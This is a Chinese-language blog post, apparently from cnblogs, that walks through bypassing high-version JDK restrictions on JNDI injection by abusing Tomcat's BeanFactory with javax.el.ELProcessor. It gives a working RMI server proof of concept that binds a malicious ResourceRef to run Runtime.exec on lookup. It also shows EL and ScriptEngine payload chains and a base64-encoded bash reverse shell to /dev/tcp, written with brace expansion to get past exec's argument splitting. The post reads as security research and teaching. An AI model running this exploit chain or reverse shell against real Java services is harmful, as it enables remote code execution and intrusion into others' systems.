• JNDI 高版本JDK 限制绕过


    JNDI 高版本JDK 限制绕过

    JNDI注入的限制以及绕过方式

    image.png

    RMI 方式实现的JNDI大体分为以下步骤:

    1. 客户端通过RMI方式获取 ReferenceWarpper_Stub ,通过远程调用 getReference 获取 Reference 对象。

    2. 客户端通过 Reference 获取 ObjectFactory 实现类的定义(.class)资源位置,加载并无参实例化;

      该步骤中,如果没有在本地Classpath找到 factory定义,则之后的网络加载过程会受到 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebase 属性的限制。

      • JDK 5U456U457u218u121 及其之后 java.rmi.server.useCodebaseOnly 默认值为"true"

      • JDK 6u1327u1228u113 及其之后 com.sun.jndi.rmi.object.trustURLCodebase 默认值为"false"

      • JDK6u2117u2018u19111.0.1 及其之后 com.sun.jndi.ldap.object.trustURLCodebase 默认值为"false"

    3. 通过实例化的 ObjectFactory 生成一个新的对象,并返回。

    由于2、3步骤会优先加载本地ClassPath中的资源,所以如果客户端获取的 Reference 中的 ObjectFactory 在本地Class中存在,那么可以通过该工厂类代替远程工厂类,去返回包含恶意代码的类。

    相关类

    ObjectFactory

    javax.naming.spi.ObjectFactory

    用于创建客户端要获取的对象,其中包含客户端寻找远程对象的 nameContextenviroment

    public interface ObjectFactory {
        public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                        Hashtable<?,?> environment)
            throws Exception;
    }
    
    • objReferenceWrapper_Stub 获取的 Reference 实例;
    • name:绑定的name;
    • enviroment:传入 InitialContextmap
    • Context:InitialContext 调用的 Context 。比如RMI方式下,就是 com.sun.jndi.rmi.registry.RegistryContext

    其实可以发现 objname 都是JNDI服务器可控的。

    Reference

    javax.naming.Reference

    构造方法参数依次为:classNameaddrfactoryfactoryLocation

    image-20220403180730459

    StringRefAddr

    javax.naming.StringRefAddr

    继承于 RefAddr 并重写了 getContent

    image-20220403180155146

    BeanFactory

    org.apache.naming.factory.BeanFactory

    该类为 javax.naming.spi.ObjectFactory 的实现类,存在于 Tomcat 的依赖中,例如:tomcat-embed-core

    目标类加载

    org.apache.naming.ResourceRef 继承于 Reference

    image-20220403204301758

    该实现方法首先判断 obj 是不是一个 org.apache.naming.ResourceRef,如果是,将其转换为 Reference 类型,并获取要生成的类名,并尝试加载类,即 Reference 包含的 className

    image-20220403160407328

    方法名解析

    之后就是通过反射无参构造目标类的实例。并检测目标类的字段,getter/setter 并为实例字段赋值。

    得到从 Reference 中获取 addrTypeforceStringRefAddr ,并从 getContent 中获取以 , 分割的赋值表达式,作为 param,形式为 attr=method。之后通过 = 进行分割:

    • 如果包含 =,那么 param 就是 = 前面的内容, setterName 就是 = 后面的内容;

    • 如果没被分割,setterName 就是前面再拼接上 set, 获取 setter 方法名称。(包括这里对第一个字母做了大写转换)

    遍历完之后,将 param=>beanClass.getMethod(setterName, paramTypes) 添加进map中:

    image-20220403185503966

    之后从 ref.getAll 获取 Reference 中所有 RefAddr,然后遍历,获取 addrType

    • 如果是 scopeauthforceStringsingleton 则跳过;

    • 否则从之前分割的表达式中构造的map中,以 addrTypegetType) 作为键,获取 Method 对象,并对 bean(之前加载的工程类)调用:method.invoke(bean, valueArray) ,这个参数数组的第一个参数就是 RefAddr#getContent

    image-20220403194420434

    总结

    攻击者构造的服务端,需要将 ReferencefactoryClass 的值设为 org.apache.naming.factory.BeanFactory,并且要找到合适的目标类,该类在目标机器上存在并且可以执行恶意代码,并将其作为 className

    而这个 className 类要执行的方法,通过 Reference 中的 RefAddr 向量来获取:

    • 其中有一个为 addrType"forceString"getContent 为要执行的方法,形式为 "param=method"
    • 其它的 RefAddr 中的 addrType 要有对应的 param ,以及 method 的参数;
    ELProcessor

    javax.el.ELProcessor 包含于 org.apache.tomcat.embedtomcat-embed-el 项目中(\(8.X\))。

    该类包含 eval 方法,可以执行java语句:

    ELProcessor processor = new ELProcessor();
    Object o = processor.eval("Class.forName(\"java.lang.Runtime\")");
    System.out.println(o);
    
    class java.lang.Runtime
    

    Peek 2022-03-28 01-49

    因此可以通过 eval 方法执行以下调用链,执行恶意代码:

    Class
        .forName("java.lang.Runtime")
        .getMethod("getRuntime")
        .invoke(null)
        .exec(new String[]{yourCmd, args})
    

    具体就是:

    ELProcessor processor = new ELProcessor();
    Object o = processor.eval("Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"firefox\")");
    System.out.println(o);
    

    Peek 2022-03-28 01-49

    不能直接通过 Runtime.class 的原因是 class 不是 Runtime 的静态属性,无法通过反射获取。

    类名.class 只是一个java语法层面的东西)

    这个要被 eval 的语句还是相当局限的比如 Runtime.getRuntime().exec("cmd") 不行,还有 exec(new String[]{"firefox"}) 的这种形式也不行(这会造成命令参数的错误解析(exec(String) 是以空格分割参数的)),抛出如下错误:

    image-20220404022538861

    还有以下调用链:

    "".getClass()
        .forName("javax.script.ScriptEngineManager")
        .newInstance()
        .getEngineByName("JavaScript")
        .eval("java.lang.Runtime.getRuntime().exec(\"firefox\")")
    

    也会有如上缺陷,貌似是用 new 就会抛错。所以基本无法正常解析多参数命令,例如:

    bash -c "bash -i >&/dev/tcp/127.0.0.1/1234 0>&1"
    

    但是可以通过管道解决空格问题:

    bash -c {echo,反弹shell的base编码}|{base64,-d}|{bash,-i}
    

    此时的命令是这样的:

    bash -c {echo,YmFzaCAtaSAxPi9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0IDI+JjEgMD4mMQ==}|{base64,-d}|{bash,-i}
    

    然后 exec(String) 把它解析为了:

    bash -c "{echo,YmFzaCAtaSAxPi9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0IDI+JjEgMD4mMQ==}|{base64,-d}|{bash,-i}"
    

    此时就可以使用 ReversedShell 了:

    image-20220404032044164

    虽有有点小问题,但是不得不说 ELProcessor 真的很强大啊!!!

    PoC

    corretton JDK 1.8.0_322

    客户端包含如下依赖:

    <dependency>
     <groupId>org.apache.tomcat</groupId>
     <artifactId>tomcat-catalina</artifactId>
     <version>8.5.77</version>
    </dependency>
    
    <dependency>
     <groupId>org.apache.tomcat.embed</groupId>
     <artifactId>tomcat-embed-el</artifactId>
     <version>8.5.77</version>
    </dependency>
    
    RMI服务端

    因此构建如下RMI服务端:

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
    
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"firefox\")"
                                 ));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("exec",wrapper);
    }
    

    注意

    • BeanObjectFactory 会判断是否为 ResourceRef 的子类;
    • factoryLocation(第5个构造参数) 需要为 null,原因是在 RegistryContext 中:

    image-20220404011836334

    ref 不为 nullref.getFactoryClassLocation 不为 null ,且 trustURLCodefalse,之后会抛出 ConfigurationException

    即便没有设置 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebase 属性,只要客户端使用 InitialContext#lookup(schema://host:port/refName) 也可以成功执行恶意代码:

    Peek 2022-03-27 03-45

    优点与局限

    不会受高版本JDK的相关属性限制,不需要建立HTTP服务器,但是依赖于 Tomcat8 组件。但tomcat本身被广泛应用,且包括 springboot-web-starter 也会用到tomcat,该利用链还是有很多用处的。


    参考

  • 相关阅读:
    DOS命令,JDK安装,JAVA运行机制
    Typora学习
    我还能写我还能写
    博客展示
    测试报告
    【Alpha版本】冲刺阶段——Day 7
    【Alpha版本】冲刺阶段——Day 6
    【Alpha版本】冲刺阶段——Day 5
    【Alpha版本】冲刺阶段——Day 4
    【Alpha版本】冲刺阶段——Day 3
  • 原文地址:https://www.cnblogs.com/nishoushun/p/16097711.html
Copyright © 2020-2023  润新知